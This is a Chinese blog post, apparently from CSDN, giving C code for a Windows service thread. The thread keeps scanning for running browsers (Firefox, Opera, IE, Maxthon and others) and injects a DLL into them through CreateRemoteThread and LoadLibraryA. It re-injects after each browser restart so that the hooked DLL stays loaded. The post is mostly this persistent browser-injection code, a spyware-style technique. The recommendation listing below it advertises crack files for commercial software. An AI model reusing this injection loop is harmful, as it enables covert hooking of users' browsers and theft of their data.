一种循环注入的思路

【微服务】spring 循环依赖问题深入解析 spring 循环依赖问题深入解析 阅读详情

我在写注入程序的时候,偶尔遇见过一些邪门儿的问题,比如挂在explorer上面不能运行,挂在其他的进程上面却很正常,为了能尽快地解决问题。我就犯懒设计了这个东西。因此也就不用怕由于进程的终止而导致dll文件的卸载:

DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
 DWORD dwThreadID,pID,pPriID;
 void *pRemoteThread;
 HANDLE hProcess,hThread;
 char pszLibFileName[MAX_PATH];
 GetSystemDirectory(pszLibFileName,MAX_PATH);
 strcat(pszLibFileName,"//library.dll");
 int cb = (1 + lstrlenA(pszLibFileName)) * sizeof(WCHAR);
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
    GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
 EnableDebugPriv();
/*
maxthon.exe
firefox.exe
opera.exe
ttraveler.exe
*/
 char *szBrowserName[5]=
 {
  "maxthon.exe",
  "firefox.exe",
  "opera.exe",
  "ttraveler.exe",
  "iexplore.exe"
 };
 do
 {
  for(int i=0;i<5;i++)
  {
   pID = GetPidByName(szBrowserName[i]);
   if(pID != 0)
    i = 5;
  }

  if(pID == 0)
  {
   hThread = NULL;
  }
  else if((pID != 0)&&(hThread == NULL))
  {
   pPriID = pID;

   hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);

   if(!hProcess)
    return 0;
 
   pRemoteThread = VirtualAllocEx(hProcess,
           NULL,
           cb,
           MEM_COMMIT | MEM_RESERVE,
           PAGE_EXECUTE_READWRITE);
   if(!pRemoteThread)
    return 0;

   if(!WriteProcessMemory(hProcess, pRemoteThread,
    (PVOID)pszLibFileName,
    cb,
    0))
    return 0;

   
   hThread = CreateRemoteThread(hProcess ,
          NULL,
          0,
          pfnStartAddr,
          pRemoteThread,
          0,
          &dwThreadID);

   CloseHandle(hProcess);
  }
  else if((pID != 0)&&(hThread != NULL)&&(pPriID!=pID))
   hThread = NULL;
  Sleep(100);
 }
 while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);
 return 0;
}

这种模式能确保挂接的dll文件不会因为进程终止而卸载

【微服务】spring循环依赖深度解析 spring循环依赖解决详解 阅读详情

相关推荐

CTF——流量分析题型整理总结

我见过的流量分析类型的题目总结: 一,ping 报文信息 (icmp协议) 二,上传/下载文件(蓝牙obex,http,难:文件的分段上传/下载) 三,sql注入攻击 四,访问特定的加密解密网站(md5,base64) 五,后台扫描+弱密码爆破+菜刀 六,usb流量分析 七,WiFi无线密码破解 八,根据一组流量包了解黑客的具体行为 例题: 一,ping 报文信息 (icm...

小锤队长的博客 5万+

Spring是如何解决循环注入问题?

一、如何解决Spring循环注入问题? 循环注入分两种情况:1、构造方法注入 2、set方法注入(单例和多例有区别) 1、构造方法注入:Spring没有办法解决会抛出异常:Requested bean is currently in creation: Is there an unresolvable circular reference? 代码: public class AA { public AA(BB b) {} } public class BB { public BB(

奔波儿东 2714

从一根USB线缆说起:深入浅出聊聊那些影响信号完整性和EMC性能的‘小细节’(双绞、屏蔽、360度搭接全解析)

本文深入探讨了USB线缆中影响信号完整性和EMC性能的关键细节,包括双绞线绞距、屏蔽层设计和360度搭接工艺。通过实验数据和实用技巧,揭示了这些‘小细节’如何显著影响高频信号质量和电磁兼容性,为工程师提供了从选购到系统设计的全面指南。

weixin_30824479的博客 439

spring 循环依赖注入

什么是循环依赖 循环依赖就是循环引用,就是两个或多个Bean相互之间的持有对方,比如A引用B,B引用C,C引用A,则它们最终反映为一个环。 spring 中循环依赖注入分三种情况 1. 构造器循环依赖 2. setter方法循环注入 2.1 setter方法注入 单例模式(scope=singleton) 2.2 setter方法注入 非单例模式 我们首先创造3个互相依赖的bea

jijianshuai的专栏 1万+

Matlab蒙特卡洛模拟二维伊辛模型相变过程

一、什么是伊辛模型 伊辛(Ising)模型是描述磁系统相变最简单的模型,但模型里自旋之间的相互作用赋予了它奇妙的特性,最有趣的就是对称性破缺。这一模型可以被推广用于研究连续的量子相变、基本粒子超弦理论、动力学临界行为等,甚至被认为可以描述深林火灾、交通拥堵、舆论传播等社会经济现象。 如图,每个格点的方向只有向上或向下两者状态,但临近的自旋之间有相互作用,而且点阵可以是一维、二维、三维、甚至更高维...

http://www.icfgblog.com/ 2万+

笔记:使用Materials Studio计算聚合物的玻璃化转变温度

使用Materials Studio计算聚合物的玻璃化转变温度。

FXJgogogo的博客 1940

Spring自动注入循环依赖分析解决

Spring自动注入循环依赖分析解决

weixin_51980047的博客 1223

DFT知识点扫盲——DFT scan chain

实际在项目中synccell一般直接上ULVT,既然是SDF,就是带Scan接口的DFF,SN (set negtive)是低置位,RP(reset positive)是高复位,既没有SN也没有RP的就是无复位寄存器。1:定义:满足可测试性设计(DFT),将设计中所有的触发器连接到一条或者若干条链上,称为scan chain,将一个复杂的时序电路转换为简单的组合电路进行测试,这一步是在逻辑综合(DC)中实现。当SE=1当SI=1时,电路进入scan状态,当SI=0时,电路工作在normal状态。

笨蛋大乌龟的博客 4936

循环注入问题

我遇到的是三个类的循环注入::类A注入了类C,类B也注入了类C,而类C又注入了类A和类B。在上述代码中,我使用@Autowired注解将类A、B和C注入到对应的属性中,并使用@Lazy注解延迟实例化这些Bean。在使用依赖注入的过程中,循环注入是一个常见但又令人头痛的问题。循环注入指的是两个或多个类相互依赖,无法通过传统的依赖注入方式解决的情况。总结起来,通过使用@Lazy和@Autowired注解,可以轻松地解决三个类之间的循环注入问题。需要注意的是,@Lazy注解只能用于单例模式的Bean。

weixin_53390559的博客 838

单细胞分析实战:用R语言绘制带连线的堆叠柱状图(附完整代码)

本文详细介绍了如何使用R语言绘制带连线的堆叠柱状图进行单细胞转录组数据分析,特别适用于展示细胞比例变化趋势。通过完整代码示例和实战技巧,帮助研究者优化多组别比较的可视化效果,提升科研图表质量。

yhn4567890的博客 390

30分钟用 Restful ABAP Programming(RAP)模型开发一个支持增删改查的 Fiori 应用

2016年时,Jerry曾经写过一系列关于SAP Fiori Smart Template(现在更名为Fiori Elements了)的博客,介绍了所谓的MDD开发方法论 - Metadata Driven Development,即通过开发维护了对应annotation(注解)的CDS view,结合SAP WebIDE,能够花费最少的编程代价,就能够在短时间内获得一个支持增删改查的Fiori应......

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 5951

Spring源码剖析 循环注入

觉得之前那篇阅读性比价差,主要第一次用csdn博客,很多语法不懂,导致文章可读性不好,我彻底更新一下;打算把spring集合写完; 长文警告 正文开始 众所周知spring在默认单例的情况下是支持循环引用的 为了节省图片大小我把那些可以动得gif图片做成了只循环一次,如果看到图片不动了请右键选择在新标签打开,那么图片就会动,手机用户则更简单,直接手指点击图片便能看到动图,每张gif我都标识了,如果没有标识则为静态图片; Appconfig.java类的代码 @Configurable @C

qq_37419449的博客 4949

SAPIEN ManiSkill3 入门教程(一)

请注意,table.set_pose(pose) 设置的是演员在世界帧中的坐标系姿势。移除的实体可以再次添加到场景中,但已在场景中的实体则不能再次添加。显示器可以是物理的(如显示器),也可以是虚拟的(如 VNC)。我们可以通过 get_pose()、get_linear_velocity() 和 get_angular_velocity()获取演员的运动量(姿势、线速度、角速度)。现在,让我们创建一个斜坡。例如,您可能需要一个简单的碰撞形状来进行快速模拟,但却需要一个复杂的视觉形状来进行逼真的渲染。

机器人控制与仿真应用 3074

解决spring循环依赖的一种思路

这不是标准、推荐方案,而是:老旧项目、无法重构的历史代码、紧急上线时的临时兜底方案。

m0_61346425的博客 208

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

Spring解决循环依赖的思路与代码实现

细心的你一定已经发现了,上面的缓存map存在一个问题,就是存放到这个map中的bean,并不保证已经完全可用了,我们在实例化之后,属性注入之前,就为了提前暴露,把bean对象存放到这个map中,而Spring肯定需要另外一级缓存,只存在已经完全可用的bean。我们上述的2级缓存,只处理的了原始对象,但是还未涉及到代理对象。,从上面的解决存换依赖的思路可知,我们使用了一个map来缓存提前暴露的对象,所以,我们在目标bean属性注入的时候,从map中拿到的是同一个beanA的对象,如果这个scope=

m0_73735578的博客 975

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

超硬核,SQL注入之时间盲注,原理+步骤+实战思路

延时注入,什么是时间盲注?时间盲注原理?时间盲注使用步骤?时间盲注使用场景?时间盲注Python脚本。

wangyuxiang946的博客 2万+

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

Spring如何解决循环依赖

烂大街的Spring循环依赖该如何回答? 什么是循环依赖? 从字面上来理解就是A依赖B的同时B也依赖了A,就像上面这样,或者C依赖与自己本身。体现到代码层次就是这个样子 @Component public class A { // A中注入了B @Autowired private B b; } --- @Component public class B { // B中注入了A @Autowired private A a; } --- // 自己依赖自己 @Component public c

意田天的博客 2万+

傻傻分不清:Spring IoC注入,自动装配与循环依赖

什么是IoC IoC注入方式 优缺点比较 循环依赖 解决办法 1.改用setter注入方式(推荐) 2. @Lazy注解 3. 使用ApplicationContextAware, InitializingBean 什么是IoC 在创建新的Bean时,IoC容器会自动注入新Bean的所依赖的其他Bean,而无须自己手动创建。 IoC注入方式 构造器注入 ...

programmer_at的专栏 7778

Spring解决循环依赖的方法

从逻辑上说明Spring是怎么解决循环依赖的,然后从源码上看Spring是怎么做的。

lkforce 5万+

springboot单例模式注入对象_Spring Bean注入/单例理解/循环依赖

理解循环依赖问题,首先明白spring有四种注入方式。第一种,SET注入a类中持有b类的引用,并且a类有b的set方法。在bean中添加标签即可注入。实质上是将b实例化,然后调用set方法注入。 第二种,构造器注入a类中持有b类的引用,并且a的构造函数参数中有b。实质上就是通过构造函数注入,创建a对象时要把b对象传进去。 第三种,静态工厂如果有需要静态工厂实例化的类,不能通过静态工厂.方法...

weixin_36378832的博客 1826

构造器注入导致的循环依赖问题及解决方案

构造器注入导致的循环依赖问题及解决方案目录概述实现思路分析循环依赖问题解决方案方式二相关工具如下:分析:小结:参考资料和推荐阅读 LD is tigger forever,CG are not brothers forever, throw the pot and shine forever. Modesty is not false, solid is not naive, treacherous but not deceitful, stay with good people, and stay a

专注Java(全栈)应用开发,求知若渴,虚心若愚,talk is cheap, show me the code. 1359

spring解决循环依赖思路

第三级:singletonFactories Map

NULL_YM 932

Spring解决循环依赖的思路

首先说明一下,本文讨论的循环依赖仅针对scope为singleton,且非构造函数注入的bean。如果是prototype的bean,或者使用的是构造函数注入,Spring会直接抛出异常,并不会去通过什么手段解决这些循环依赖。我们在使用Spring的过程中,会有很多bean依赖注入的场景。因为没有严格的规范约束,我们在使用的过程中,比较容易就会产生beanA依赖beanB,而beanB又依赖beanA的情况。

m0_71777195的博客 114

feign注入报循环依赖错误 & 开启feign对sentinel的支持后出现循环依赖

feign注入报循环依赖错误 & 开启feign对sentinel的支持后出现循环依赖。 通过懒加载方式

qq_44833733的博客 1757
上一篇: 实用ASCII码表
下一篇: 摘自新华字典的一段话
brain_
博客等级 码龄22年 4粉丝 32原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值